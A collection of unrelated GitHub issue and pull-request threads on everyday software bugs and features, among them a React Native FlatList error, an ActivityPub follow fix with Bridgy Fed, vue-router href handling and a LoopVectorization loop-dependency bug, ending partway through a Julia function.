TypeError: Cannot read property 'getItem' of undefined reoccur on RN 0.61.x

Redbox is showing:
TypeError: Cannot read property 'getItem' of undefined
This error is located at:
in FlatList (at YellowBoxList.js:87)
in RCTView (at YellowBoxList.js:79)
in YellowBoxList (at YellowBox.js:108)
in YellowBox (at AppContainer.js:96)
in RCTView (at AppContainer.js:119)
in AppContainer (at renderApplication.js:39)
React Native version:
System:
OS: macOS 10.15.1
CPU: (4) x64 Intel(R) Core(TM) i7-7567U CPU @ 3.50GHz
Memory: 21.21 MB / 16.00 GB
Shell: 5.7.1 - /bin/zsh
Binaries:
Node: 12.13.1 - ~/.nvm/versions/node/v12.13.1/bin/node
npm: 6.13.2 - ~/.nvm/versions/node/v12.13.1/bin/npm
Watchman: 4.9.0 - /usr/local/bin/watchman
SDKs:
iOS SDK:
Platforms: iOS 13.2, DriverKit 19.0, macOS 10.15, tvOS 13.2, watchOS 6.1
IDEs:
Android Studio: 3.5 AI-191.8<IP_ADDRESS>77832
Xcode: 11.2.1/11B500 - /usr/bin/xcodebuild
npmPackages:
react: 16.12.0 => 16.12.0
react-native: 0.61.5 => 0.61.5
Steps To Reproduce

do not know which function caused this error
when tracing from bottom I can see the prop is not set from Flatlist.js, See screenshot

It first called super(prop), then this.prop should set but no.

Describe what you expected to happen:
No red box pop up

Any solution?

Looks like VirtualizedList require some new attributes:
type RequiredProps = {
  /**
   * The default accessor functions assume this is an Array<{key: string} | {id: string}> but you can override
   * getItem, getItemCount, and keyExtractor to handle any type of index-based data.
   */
  data?: any,
  /**
   * A generic accessor for extracting an item from any sort of data blob.
   */
  getItem: (data: any, index: number) => ?Item,
  /**
   * Determines how many items are in the data blob.
   */
  getItemCount: (data: any) => number,
};

My WebStorm is also complained about missing required attributes for a FlatList:
Element FlatList doesn't have required attribute getItem
Element FlatList doesn't have required attribute getItemCount

The code works, no runtime crashes but my tests are failing.
I also spent some time finding any of information about these new required params but didn't manage to find any.
React-Native 0.61.5.

We are running with the same issue, this is not fixed. Tracking down the issue it seems that the initialization of these variables is failing:
///// React-Native 0.61.5 code - actual in use:
.....
_checkProps(props: Props<ItemT>) {
    const {
      getItem,
      getItemCount,
      horizontal,
      numColumns,
      columnWrapperStyle,
      onViewableItemsChanged,
      viewabilityConfigCallbackPairs,
    } = props;
    invariant(
      !getItem && !getItemCount,
      'FlatList does not support custom data formats.',
    );
    if (numColumns > 1) {
      invariant(!horizontal, 'numColumns does not support horizontal.');
    } else {
      invariant(
        !columnWrapperStyle,
        'columnWrapperStyle not supported for single column lists',
      );
    }
    invariant(
      !(onViewableItemsChanged && viewabilityConfigCallbackPairs),
      'FlatList does not support setting both onViewableItemsChanged and ' +
        'viewabilityConfigCallbackPairs.',
    );
  }
.....

Comparing code with 0.62.x, they seem to know about this but still it does not work propperly.
//////// 0.62.x code below - compared code:
....
 _checkProps(props: Props<ItemT>) {
    const {
      // $FlowFixMe this prop doesn't exist, is only used for an invariant
      getItem,
      // $FlowFixMe this prop doesn't exist, is only used for an invariant
      getItemCount,
      horizontal,
      numColumns,
      columnWrapperStyle,
      onViewableItemsChanged,
      viewabilityConfigCallbackPairs,
    } = props;
....

I see this error starts appearing when I try to remove @babel/plugin-transform-flow-strip-types plugin from babel.config.json. With it the error does not occur.

Nevermind, there was another plugin in babel.config.js - ['@babel/plugin-proposal-class-properties', { loose: true }],. If I remove both ['@babel/plugin-proposal-class-properties', { loose: true }], and ['@babel/plugin-transform-flow-strip-types'], then the issue goes away.

As pointed out elsewhere, I deleted my babel.config.js, and moved the babel config to my package.json.
"babel": { "plugins": [ [ "@babel/plugin-proposal-decorators", { "legacy": true } ], [ "@babel/plugin-proposal-class-properties", { "loose": true } ] ] }


Error restarting WebEngagePlugin

New version is causing error on application restart

Incorrect condition

https://github.com/WebEngage/webengage-flutter/blob/6e28709da1a66a8e3c0600583397154c237db04e/android/src/main/java/com/webengage/webengage_plugin/WebEngagePlugin.java#L56

MethodChannel is not restarting

https://github.com/WebEngage/webengage-flutter/blob/6e28709da1a66a8e3c0600583397154c237db04e/android/src/main/java/com/webengage/webengage_plugin/WebEngagePlugin.java#L57

However the MethodCallHandler is set to null

https://github.com/WebEngage/webengage-flutter/blob/6e28709da1a66a8e3c0600583397154c237db04e/android/src/main/java/com/webengage/webengage_plugin/WebEngagePlugin.java#L376

@astraube Thank you for your feedback on latest version.
You are correct  MethodChannel will not restart in some condition.
We will provided a fix and will release a new version for it.
Thank you

Latest Version v1.2.3 has been released


code

Hello, thank you very much for making the code public. I have some questions about the code and I hope you can give me some help.
    real_A = self.netD(self.patch_sampler(self.real_A), self.nce_layers)
    real_B = self.netD(self.patch_sampler(self.real_B), self.nce_layers)
    real_Ax = self.netD(self.patch_sampler(self.real_A), self.nce_layers)
    real_Bx = self.netD(self.patch_sampler(self.real_B), self.nce_layers)

    query_A = self.netP_style(real_A, self.nce_layers)
    query_B = self.netP_style(real_B, self.nce_layers)
    query_Ax = self.netP_style(real_Ax, self.nce_layers)
    query_Bx = self.netP_style(real_Bx, self.nce_layers)

    self.nce_loss.dequeue_and_enqueue(query_B[num], 'real_B{:d}'.format(x))
    loss_D_cont_B += self.nce_loss(query_B[num], query_Bx[num], 'real_B{:d}'.format(x))

Why is query_B put into the dequeue_and_enqueue function as a negative sample?
I hope you can give me some help, thanks!

I have the same problem you do.
I think we should swap those two lines.
If anyone thinks this is right, please let me know why


data-store to data-signals

https://www.youtube.com/watch?v=jsxx19J_ucM

misscommunication, reverting this


MudSelect: expose a getter for the child MudSelectItem collection

Description
From the context of a MudSelect<T> object, there's no way to get the collection of child MudSelectItem<T>'s without relying on CSS selectors (which should be treated as an internal implementation detail).
This PR adds a getter to the MudSelect<T>'s component API to obtain a read-only collection of the MudSelectItem<T>'s contained within.
How Has This Been Tested?
A unit test for this feature has been added to ensure that the number of options within the component match the test case.
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Checklist:

[x] The PR is submitted to the correct branch (dev).
[x] My code follows the code style of this project.
[x] I've added relevant tests.

In general, blazor components don't directly expose it's inner components. What's the usecase here that can not be solved in a more blazory way?

I guess it doesn't hurt.


Correct status code parsing

See: https://github.com/chatnoir-eu/chatnoir-resiliparse/issues/3#issuecomment-910108612
Related to: #4

Thanks.


Improve constraint manipulation in C++ code

Codecov Report

Merging #1268 (1c79288) into 0.12.0 (0ad1ae8) will increase coverage by 0.01%.
The diff coverage is 96.15%.

@@            Coverage Diff             @@
##           0.12.0    #1268      +/-   ##
==========================================
+ Coverage   91.88%   91.89%   +0.01%
==========================================
  Files          89       89
  Lines        9438     9462      +24
==========================================
+ Hits         8672     8695      +23
- Misses        766      767       +1

Impacted Files
Coverage Δ

dimod/include/dimod/constrained_quadratic_model.h
98.27% <85.71%> (-0.81%)
:arrow_down:

dimod/include/dimod/constraint.h
100.00% <100.00%> (ø)

dimod/include/dimod/expression.h
90.68% <100.00%> (+0.05%)
:arrow_up:

...estscpp/tests/test_constrained_quadratic_model.cpp
100.00% <100.00%> (ø)

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


fix(cli): set sidecar injection annotation to disabled

Description:
Modifies the patch command on osm namespace add --disable-sidecar-injection
to set the sidecar injection annotation to "disabled"
instead of null. Patching the annotation key with a null value
should have removed the annotation if it existed or had no effect
if the annotation key did not exist. Currently, when the
sidecar injection annotation does not exist on the namespace, the
patch mentioned above adds the annotation with a value of an empty
string. This results in errors in the osm-injector when pods are
added to the namespace.
Resolves #4385
This PR also includes a change to notify the user if the namespace
being added is already monitored by the mesh.
$ osm namespace add test --disable-sidecar-injection
Namespace [test] successfully added to mesh [osm]

$ osm namespace add test --disable-sidecar-injection
Namespace [test] has already been added to mesh [osm]

Testing done:

Wrote unit tests to verify the output of osm namespace add if the namespace is already monitored by the mesh
Installed OSM, created namespaces, added the namespaces to the mesh with and without sidecar injection enabled, and verified the namespace object's metadata was patched as expected

$ kubectl create ns test
namespace/test created

$ kubectl get ns test -o jsonpath='{.metadata.annotations}'

$ osm namespace add test --disable-sidecar-injection
Namespace [test] successfully added to mesh [osm]

$ kubectl get ns test -o jsonpath='{.metadata.annotations}'
{"openservicemesh.io/sidecar-injection":"disabled"}

Affected area:

Functional Area

New Functionality
[ ]

CI System
[ ]

CLI Tool
[x]

Certificate Management
[ ]

Control Plane
[ ]

Demo
[ ]

Documentation
[ ]

Egress
[ ]

Ingress
[ ]

Install
[ ]

Networking
[ ]

Observability
[ ]

Performance
[ ]

SMI Policy
[ ]

Security
[ ]

Sidecar Injection
[ ]

Tests
[ ]

Upgrade
[ ]

Other
[ ]

Please answer the following questions with yes/no.

Does this change contain code from or inspired by another project? No

Did you notify the maintainers and provide attribution?

Is this a breaking change? No

Codecov Report

Merging #4387 (0faa191) into main (8dccabb) will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main    #4387   +/-   ##
=======================================
  Coverage   69.27%   69.27%
=======================================
  Files         212      212
  Lines       14455    14464    +9
=======================================
+ Hits        10013    10020    +7
- Misses       4390     4392    +2
  Partials       52       52

Flag
Coverage Δ

unittests
69.27% <100.00%> (+<0.01%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

cmd/cli/namespace_add.go
83.63% <100.00%> (-0.53%)
:arrow_down:

pkg/messaging/workqueue.go
89.28% <0.00%> (-10.72%)
:arrow_down:

pkg/ticker/ticker.go
87.17% <0.00%> (+3.84%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8dccabb...0faa191. Read the comment docs.


Can't follow Bridgy Fed actor

Hello, I'm trying to follow https://fed.brid.gy/snarfed.org, but my Follow activity gets rejected with HTTP 502.
There was a problem with parsing of Accept header on my side, which has been fixed. Now Bridgy Fed seems to be fetching my actor, but still rejects the follow request.
Activity:
{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1","https://w3id.org/security/data-integrity/v1",{"MitraJcsRsaSignature2022":"mitra:MitraJcsRsaSignature2022","mitra":"http://jsonld.mitra.social#","proofPurpose":"sec:proofPurpose","proofValue":"sec:proofValue","sensitive":"as:sensitive","verificationMethod":"sec:verificationMethod"}],"actor":"https://mitra.social/users/silverpill","id":"https://mitra.social/objects/01886003-887b-0f60-573b-116b30ac0372","object":"https://fed.brid.gy/snarfed.org","to":["https://fed.brid.gy/snarfed.org"],"type":"Follow"}

Sent at 2023-05-28T01:40:24Z

Hmm! Thanks for filing, and sorry for the trouble, I'll look.

Ah, we're being overly strict about the Content-Types we expect. Thanks again, fixed now. Feel free to try again!

Thank you!
There's another issue. I tried to re-follow the actor and received this Accept activity from Bridgy Fed:
{"@context":"https://www.w3.org/ns/activitystreams","actor":"https://fed.brid.gy/snarfed.org","id":"https://fed.brid.gy/user/snarfed.org/followers#accept-https://mitra.social/objects/01886328-2629-d9b6-7986-1c2ab6bd1d31","object":{"actor":"https://mitra.social/users/silverpill","object":"https://fed.brid.gy/snarfed.org","type":"Follow"},"type":"Accept"}

The object here doesn't have the id property. Is it possible to include it?
I could try to guess what the corresponding Follow activity was from actor and object properties, but that's not ideal.

Hmm! id isn't required for "transient" activities like this, right? From the spec:

...all objects distributed by the ActivityPub protocol MUST have unique global identifiers, unless they are intentionally transient (short lived activities that are not intended to be able to be looked up, such as some kinds of chat messages or game notifications)

It does go on to say that transient activities should have id explicitly set to null, so I guess I should do that. Would that help here?
I could also generate a synthetic id, but it wouldn't be resolvable, since I don't currently store or serve Accepts, so I'm reluctant.

Oh actually no, on closer reading of that section, null id is only required for "an anonymous object (a part of its parent context)," which I don't think this is.

Accept might be transient, but in this case it embeds Follow activity, which is not transient.

I could also generate a synthetic id, but it wouldn't be resolvable, since I don't currently store or serve Accepts, so I'm reluctant.

I was referring to Accept.object.id property. Could you use ID of accepted Follow activity here?

Oh! Sorry, yes, including the Follow id definitely makes sense, I'll do that.

Done!

Seems to be working now, thanks!


Added Greek language

Please check if the PR fulfills these requirements

[ ] The commit message follows our guidelines
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
Feature

What is the current behavior? (You can also link to an open issue here)
Many available languages sans Greek

What is the new behavior (if this is a feature change)?
Added the Greek language

Does this PR introduce a breaking change? (What changes might users need to make in their application due to this PR?)
No

Other information:
I'm a native Greek speaker and I work as a Front End Developer.
I kept some words like 'Overlay','Sprites' and 'Flag' since I'm unware of any meaningful translation for them and Googling didn't help.

Thanks @iokaravas Much appreciated!

Thank you for making this a reality!


Add tests for job commands

Adds test for JobAddCommand and JobAssignCommand.
Consider this PR only if there is time.

Codecov Report

Merging #224 (e598394) into master (7220f86) will increase coverage by 2.05%.
The diff coverage is 100.00%.

@@             Coverage Diff              @@
##             master     #224      +/-   ##
============================================
+ Coverage     63.31%   65.37%   +2.05%
- Complexity      602      623      +21
============================================
  Files           112      112
  Lines          2527     2527
  Branches        273      273
============================================
+ Hits           1600     1652      +52
+ Misses          815      758      -57
- Partials        112      117       +5

Impacted Files
Coverage Δ

src/main/java/peoplesoft/model/job/Job.java
56.70% <100.00%> (+13.40%)
:arrow_up:

src/main/java/peoplesoft/model/person/Person.java
72.14% <0.00%> (+0.71%)
:arrow_up:

src/main/java/peoplesoft/model/money/Rate.java
80.32% <0.00%> (+1.63%)
:arrow_up:

src/main/java/peoplesoft/model/money/Money.java
97.67% <0.00%> (+2.32%)
:arrow_up:

src/main/java/peoplesoft/model/person/Name.java
96.42% <0.00%> (+3.57%)
:arrow_up:

src/main/java/peoplesoft/model/person/Email.java
96.42% <0.00%> (+3.57%)
:arrow_up:

src/main/java/peoplesoft/model/person/Phone.java
96.42% <0.00%> (+3.57%)
:arrow_up:

src/main/java/peoplesoft/model/person/Address.java
96.42% <0.00%> (+3.57%)
:arrow_up:

...ain/java/peoplesoft/commons/core/JobIdFactory.java
87.50% <0.00%> (+37.50%)
:arrow_up:

... and 2 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7220f86...e598394. Read the comment docs.


[release-2.6] Fix the conditions history in compliancyDetails

This is a backport of #392 but needed to do it manually due to a test case being slightly different in 2.6.
The status.compliancyDetails[].conditions array was always limited to just a single condition due to a bug. This sets the limit to 10 instead.
Relates:
https://issues.redhat.com/browse/ACM-2708

/revert does this work?


Add three optional properties to TextFormat

Add three optional properties to TextFormat: SkipLineCount, FirstRowAsHeader and TreatEmptyAsNull

Can one of the admins verify this patch?

Hi @Live2Learn, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

It looks like you're working at Microsoft (jinghu). If you're full-time, we DON'T require a contribution license agreement.

If you are a vendor, DO please sign the electronic contribution license agreement. It will take 2 minutes and there's no faxing! https://cla.azure.com.

TTYL, AZPRBOT;

Looks good to me.


Nuxt-link and router-link don't create href attribute

Version
3.1.6
Reproduction link
https://github.com/SergeiPleshkov/create-nuxt-app
Steps to reproduce
Serve reproduction repo, inspect the source code.

source code from devtools' network tab

document ready

What is expected?
Passing not defined dynamic prop to <n-link> or <router-link>'should not cause href loss in SSR mode.
What is actually happening?
Href attribute appears after browser render.

I also created an issue in nuxt repo, but i think this is mainly vue-router problem.

If you provide an href attribute, it will override component's behavior, that's intended (in Vue). If you want to have better control of router-link, use the v-slot api

I also ran into this problem. And I understand the reasoning in the following case:
<RouterLink to="/a" href="/b"> but I don't understand what's the point of removing href in case of <RouterLink to="/a" :href="undefined">. In my opinion :href="undefined" should be treated as if href was not set at all.
Currently <RouterLink to="/a" :href="undefined"> renders <a> without a href! This is a huge problem in terms of SEO and because the link still works when you click it, this often goes unnoticed.
I understand that there may be counter arguments to that. If this is actually the intended behavior, here is a workaround:
<!-- This does **not** work correctly, `href` not rendered on RouterLink even if it is `undefined` -->
<Component
  :is="link.href ? `a` : `RouterLink`"
  :href="link.href"
  :to="link.to"
/>

<!-- Workaround -->
<Component
  :is="link.href ? `a` : `RouterLink`"
  v-bind="link.href ? { href: link.href } : { to: link.to }"
/>

@maoberlehner note this is vue behavior. The idea is to be able to override existing bindings (which is exactly what is happening). For example in the case of v-bind with an object and then a specific :href="undefined" to remove that attribute.
Note that in your workaround you could also use a v-if="link.href" to render an a or a router-link


Hardware repository? Ordering 'hacker' version?

I cannot find the NK3 hardware repository. Is there one? If not, will it be released open source in the same way as the NK Pro? Also, is it possible to order a 'hacker' version with pins exposed that could be used to develop/ test the firmware?

Hi!

Last time I have heard about hardware repository for Nitrokey 3 it was being prepared for release to public. Will check. It seems this was meant for it:

https://github.com/Nitrokey/nitrokey-3a-hardware

We do not sell hacker version at the moment. However hopefully you should be able to prepare one from the designs once these are published.

For general questions I recommend to use our  support.nitrokey.com where more people can respond, including our community.
Closing as done. Let's continue on forum with related questions.

Thanks :) . Hope the hardware blueprints get released soon :) . Considering a hacker version at some point would be very useful for the community and for helping developers get involved and contribute :) .
I have always disliked a bit forums, as they are often a bit difficult to search, less easy to link to code etc, yet another system to learn, but fair enough ^^ :) .


Menu change

Summary:
3 items in the menu
Dashboard
My Goals
Learning
Need to be moved up to the top of the menu, so basically it would become
Dashboard
My goals
Learning
Profile
...

Here is the menu we currently have:


multiple toc-visible issue

I haven't debugged it yet but seems multiple toc-visible can be set at one time.

This is a bit strange, since how areas so far apart can be visible at the same time.

seems to me the issue is more about the order of h2 and h3, somehow they get re-ordered, ex.

Instead doing the above order, it lists all h2 first and then all h3.

Hey @windmaomao not sure what toc has to do with scroll-triggers, are you in the right repo? If so, can I see it somewhere?


Dns resolve from code

Doneness:

[X] Build is okay - I made sure that this change is building successfully.
[X] No Bugs - I made sure that this change is working properly as expected. It doesn't have any bugs that you are aware of.
[X] Branching - If this is not a hotfix, I am making this request against master branch

:white_check_mark: Build Titanium-Web-Proxy 3.0.688 completed (commit https://github.com/justcoding121/Titanium-Web-Proxy/commit/2b4dddbc19 by @justcoding121)

I have an issue with this change when using an external proxy. Latest stable 3.0.684 was working fine.
https://github.com/justcoding121/Titanium-Web-Proxy/blob/bf983616ba51ece4ce7587a568760068e4e5b578/src/Titanium.Web.Proxy/Network/Tcp/TcpConnectionFactory.cs#L290
Dns.GetHostEntry(hostname) throws exception when using a proxy an upstreamproxy like "<IP_ADDRESS>:3128"
using GetHostAddresses no exception is thrown.


Beining/fix end time ealier than start time bug

fix #240

CI failed. Please check the details and fix them.

Codecov Report

Merging #258 into master will decrease coverage by 0.04%.
The diff coverage is 0.00%.

@@             Coverage Diff              @@
##             master     #258      +/-   ##
============================================
- Coverage     43.06%   43.02%   -0.05%
  Complexity      570      570
============================================
  Files           114      114
  Lines          2835     2838       +3
  Branches        421      422       +1
============================================
  Hits           1221     1221
- Misses         1481     1484       +3
  Partials        133      133

Impacted Files
Coverage Δ
Complexity Δ

.../java/seedu/address/commons/util/DateTimeUtil.java
94.11% <0.00%> (-2.86%)
7.00 <0.00> (ø)

...seedu/address/logic/parser/EventCommandParser.java
0.00% <0.00%> (ø)
0.00 <0.00> (ø)

...ain/java/seedu/address/model/task/event/Event.java
45.61% <ø> (ø)
16.00 <0.00> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2b96bb2...15a3f35. Read the comment docs.


Add link to I/O integration page

Issue in ./help/c-experiences/c-manage-content/aem-experience-fragments.md
Step 1 only links to the legacy AEM/Target integration method. It should also include a link to the Adobe I/O version for AEM 6.5.2. https://experienceleague.adobe.com/docs/experience-manager-65/administering/integration/integration-ims-adobe-io.html?lang=en

Thanks for the information. I've updated the documentation here:
https://experienceleague.adobe.com/docs/target/using/experiences/offers/aem-experience-fragments.html?lang=en


incorrect results from turbo loop

For the function foo! below, adding @turbo to the for loop changes the results completely (by more than a factor of 2).
In particular,
N = 5
f = [0.1,0.2,0.3,0.4,0.5]
Ca = [0.1,0.2,0.3,0.4,0.5]
BBB = [0.1,0.2,0.3,0.4,0.5]
v_vz = [0.1,0.2,0.3,0.4,0.5]
dz = 0.01
dy1 = zeros(2N)
dy2 = zeros(2N)
foo!(dy1, f, Ca, BBB, v_vz, dz)
turbo_foo!(dy2, f, Ca, BBB, v_vz, dz)
display([dy1 dy2])

produces
10×2 Matrix{Float64}:
      0.0        0.0
     -0.2       -0.2
     -0.3       -0.3
      0.0        0.0
      0.0        0.0
      0.0        0.0
 -10099.2   -10099.2
  -4997.16  -12533.1
      0.0        0.0
      0.0        0.0

Notice that one of the outputs is changed from -4997.16 to -12533.1.
This is with Julia 1.6 and LoopVectorization v0.12.25 on macOS (x86_64-apple-darwin18.7.0) with an Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz.
using LoopVectorization

function foo!(dy, f, Ca, BBB, v_vz, dz)
    N_tip = length(f)
    length(dy) == 2N_tip && length(Ca) == length(BBB) == length(v_vz) == N_tip || throw(DimensionMismatch())

    inv_2dz = 1/2dz
    inv_dz² = 1/dz^2
    dy .= 0
    We = 0.1
    fᵢ = viscᵢ₋₁ = viscᵢ = pᵢ₋₁ = pᵢ = 0.0
    for i = 2:N_tip-2
        fᵢ₊₁ = f[i+1]
        dfᵢ₊₁ = (f[i+2] - fᵢ)*inv_2dz   # df/dz
        d2fᵢ₊₁ = (f[i+2] - 2fᵢ₊₁ + fᵢ)*inv_dz²   # d²f/dz²
        pᵢ₊₁ = ((2-d2fᵢ₊₁)*fᵢ₊₁+dfᵢ₊₁^2)/(2*abs(1/4*dfᵢ₊₁^2+fᵢ₊₁)^(3/2))

        dy[i] = -BBB[i]
        viscᵢ₊₁ = Ca[i+1] * (dfᵢ₊₁ - BBB[i+1]) / fᵢ₊₁
        dvisc_dz = (viscᵢ₊₁-viscᵢ₋₁)*inv_2dz
        dp = (pᵢ₊₁-pᵢ₋₁)*inv_2dz   # dP/dz
        dy[N_tip+i] = -v_vz[i] - (dp + dvisc_dz)/We

        # change to i+1 values for next iteration:
        fᵢ = fᵢ₊₁
        pᵢ₋₁ = pᵢ
        pᵢ = pᵢ₊₁
        viscᵢ₋₁ = viscᵢ
        viscᵢ = viscᵢ₊₁
    end
    return dy
end

# identical except for @turbo annotation:
function turbo_foo!(dy, f, Ca, BBB, v_vz, dz)
    N_tip = length(f)
    length(dy) == 2N_tip && length(Ca) == length(BBB) == length(v_vz) == N_tip || throw(DimensionMismatch())

    inv_2dz = 1/2dz
    inv_dz² = 1/dz^2
    dy .= 0
    We = 0.1
    fᵢ = viscᵢ₋₁ = viscᵢ = pᵢ₋₁ = pᵢ = 0.0
    @turbo for i = 2:N_tip-2
        fᵢ₊₁ = f[i+1]
        dfᵢ₊₁ = (f[i+2] - fᵢ)*inv_2dz   # df/dz
        d2fᵢ₊₁ = (f[i+2] - 2fᵢ₊₁ + fᵢ)*inv_dz²   # d²f/dz²
        pᵢ₊₁ = ((2-d2fᵢ₊₁)*fᵢ₊₁+dfᵢ₊₁^2)/(2*abs(1/4*dfᵢ₊₁^2+fᵢ₊₁)^(3/2))

        dy[i] = -BBB[i]
        viscᵢ₊₁ = Ca[i+1] * (dfᵢ₊₁ - BBB[i+1]) / fᵢ₊₁
        dvisc_dz = (viscᵢ₊₁-viscᵢ₋₁)*inv_2dz
        dp = (pᵢ₊₁-pᵢ₋₁)*inv_2dz   # dP/dz
        dy[N_tip+i] = -v_vz[i] - (dp + dvisc_dz)/We

        # change to i+1 values for next iteration:
        fᵢ = fᵢ₊₁
        pᵢ₋₁ = pᵢ
        pᵢ = pᵢ₊₁
        viscᵢ₋₁ = viscᵢ
        viscᵢ = viscᵢ₊₁
    end
    return dy
end

Duplicate of: https://github.com/JuliaSIMD/LoopVectorization.jl/issues/266
LoopVectorization's current model for loops assumes all iterations are independent and can be reordered, with a special case added for constant offsets between loads and stores that are <= the step size of the loop (so long as there is an alternative loop to reorder instead):
for i in 1:I, j in J # I loop has a step of 1
   a, b = f(x[i], x[i+1])
   x[i] = a
   x[i+1] = b # we're loading and storing from `x` with offsets `i, i+1`; (i + 1 - i) <= step(1:I) so it will reorder `j` loop instead.
end

If it weren't for the j loop, currently it'd give incorrect answers. I should probably add a way to get it to run the fallback loop instead.
But my priority / long term plan here involves writing a new loop model that'll explicitly include a dependency graph that'll indicate constraints on iteration order and available transformations.
The primary goal is to have it correctly optimize naive triple loop implementations of things like solving triangular systems of equations or performing Cholesky decompositions.
#266 and this issue are more examples it should be able to correctly handle.
Eliminating the loop carried dependencies gives us:
function turbo_foo!(dy, f, Ca, BBB, v_vz, dz)
  N_tip = length(f)
  length(dy) == 2N_tip && length(Ca) == length(BBB) == length(v_vz) == N_tip || throw(DimensionMismatch())

  inv_2dz = 1/2dz
  inv_dz² = 1/dz^2
  dy .= 0
  We = 0.1
  @turbo for i = 2:N_tip-2
    fᵢ₋₂    = i < 5 ?  0.0 : f[i-2]
    fᵢ₋₁    = i < 4 ?  0.0 : f[i-1]
    fᵢ      = i == 2 ? 0.0 : f[i  ]
    fᵢ₊₁    =                f[i+1]
    fᵢ₊₂    =                f[i+2]

    dfᵢ₋₁  = (fᵢ   - fᵢ₋₂)*inv_2dz   # df/dz
    # dfᵢ    = (fᵢ₊₁ - fᵢ₋₁)*inv_2dz   # df/dz
    dfᵢ₊₁  = (fᵢ₊₂ - fᵢ  )*inv_2dz   # df/dz

    d2fᵢ₋₁ = (fᵢ   - 2fᵢ₋₁ + fᵢ₋₂)*inv_dz²   # d²f/dz²
    # d2fᵢ   = (fᵢ₊₁ - 2fᵢ   + fᵢ₋₁)*inv_dz²   # d²f/dz²
    d2fᵢ₊₁ = (fᵢ₊₂ - 2fᵢ₊₁ + fᵢ  )*inv_dz²   # d²f/dz²

    pᵢ₋₁ = i < 4 ? 0.0 : ((2-d2fᵢ₋₁)*fᵢ₋₁ + dfᵢ₋₁^2) / (2*abs(1/4*dfᵢ₋₁^2 + fᵢ₋₁)^(3/2))
    # pᵢ   = i == 2 ? 0.0 : ((2-d2fᵢ  )*fᵢ   + dfᵢ ^2) / (2*abs(1/4*dfᵢ  ^2 + fᵢ  )^(3/2))
    pᵢ₊₁ =               ((2-d2fᵢ₊₁)*fᵢ₊₁ + dfᵢ₊₁^2) / (2*abs(1/4*dfᵢ₊₁^2 + fᵢ₊₁)^(3/2))

    dy[i] = -BBB[i]

    viscᵢ₋₁ = i < 4 ? 0.0 : Ca[i-1] * (dfᵢ₋₁ - BBB[i-1]) / fᵢ₋₁
    # viscᵢ   = i == 2 ? 0.0 : Ca[i  ] * (dfᵢ   - BBB[i  ]) / fᵢ
    viscᵢ₊₁ =                Ca[i+1] * (dfᵢ₊₁ - BBB[i+1]) / fᵢ₊₁

    dvisc_dz = (viscᵢ₊₁-viscᵢ₋₁)*inv_2dz
    dp = (pᵢ₊₁-pᵢ₋₁)*inv_2dz   # dP/dz
    dy[N_tip+i] = -v_vz[i] - (dp + dvisc_dz)/We
  end
  return dy
end

This works:
julia> foo!(dy1, f, Ca, BBB, v_vz, dz) ≈ turbo_foo!(dy2, f, Ca, BBB, v_vz, dz)
true

julia> display([dy1 dy2])
10×2 Matrix{Float64}:
      0.0        0.0
     -0.2       -0.2
     -0.3       -0.3
      0.0        0.0
      0.0        0.0
      0.0        0.0
 -10099.2   -10099.2
  -4997.16   -4997.16
      0.0        0.0
      0.0        0.0

and yields a reasonable speedup:
julia> using BenchmarkHistograms

julia> @benchmark foo!($dy1, $f, $Ca, $BBB, $v_vz, $dz)
samples: 10000; evals/sample: 755; memory estimate: 0 bytes; allocs estimate: 0
ns

 (169.8 - 171.3]  ▏1
 (171.3 - 172.8]   0
 (172.8 - 174.3]   0
 (174.3 - 175.8]   0
 (175.8 - 177.3]   0
 (177.3 - 178.8]   0
 (178.8 - 180.3]  ██████████████████████████████ 8613
 (180.3 - 181.8]  ████▌1269
 (181.8 - 183.4]  ▍91
 (183.4 - 184.9]  ▏6
 (184.9 - 186.4]  ▏5
 (186.4 - 187.9]  ▏3
 (187.9 - 189.4]   0
 (189.4 - 190.9]  ▏2
 (190.9 - 202.5]  ▏10

                  Counts

min: 169.793 ns (0.00% GC); mean: 180.198 ns (0.00% GC); median: 180.020 ns (0.00% GC); max: 202.498 ns (0.00% GC).

julia> @benchmark turbo_foo!($dy1, $f, $Ca, $BBB, $v_vz, $dz)
samples: 10000; evals/sample: 987; memory estimate: 0 bytes; allocs estimate: 0
ns

 (51.61 - 51.86]  ██████████████████████████████ 7540
 (51.86 - 52.12]  ███████▊1925
 (52.12 - 52.38]   0
 (52.38 - 52.64]   0
 (52.64 - 52.9 ]  ▊160
 (52.9  - 53.16]  █▎310
 (53.16 - 53.42]  ▏29
 (53.42 - 53.67]  ▏10
 (53.67 - 53.93]  ▏8
 (53.93 - 54.19]  ▏3
 (54.19 - 54.45]  ▏1
 (54.45 - 54.71]  ▏1
 (54.71 - 54.97]  ▏1
 (54.97 - 55.23]  ▏2
 (55.23 - 74.64]  ▏10

                  Counts

min: 51.606 ns (0.00% GC); mean: 51.870 ns (0.00% GC); median: 51.795 ns (0.00% GC); max: 74.639 ns (0.00% GC).

By far the slowest part of this loop is x / y^(3/2). Two options to speed this up are to replace it with:

x / sqrt(y)^3 -- sqrt with literal integer power.
x * y^(-3/2) -- fold the division into the power.
LoopVectorization should perhaps perform one of these transforms automatically, but for now:

To speed this up further, we can replace abs(x)^(3/2) with sqrt(abs(x))^3:
julia> function turbo_foo_root!(dy, f, Ca, BBB, v_vz, dz)
         N_tip = length(f)
         length(dy) == 2N_tip && length(Ca) == length(BBB) == length(v_vz) == N_tip || throw(DimensionMismatch())

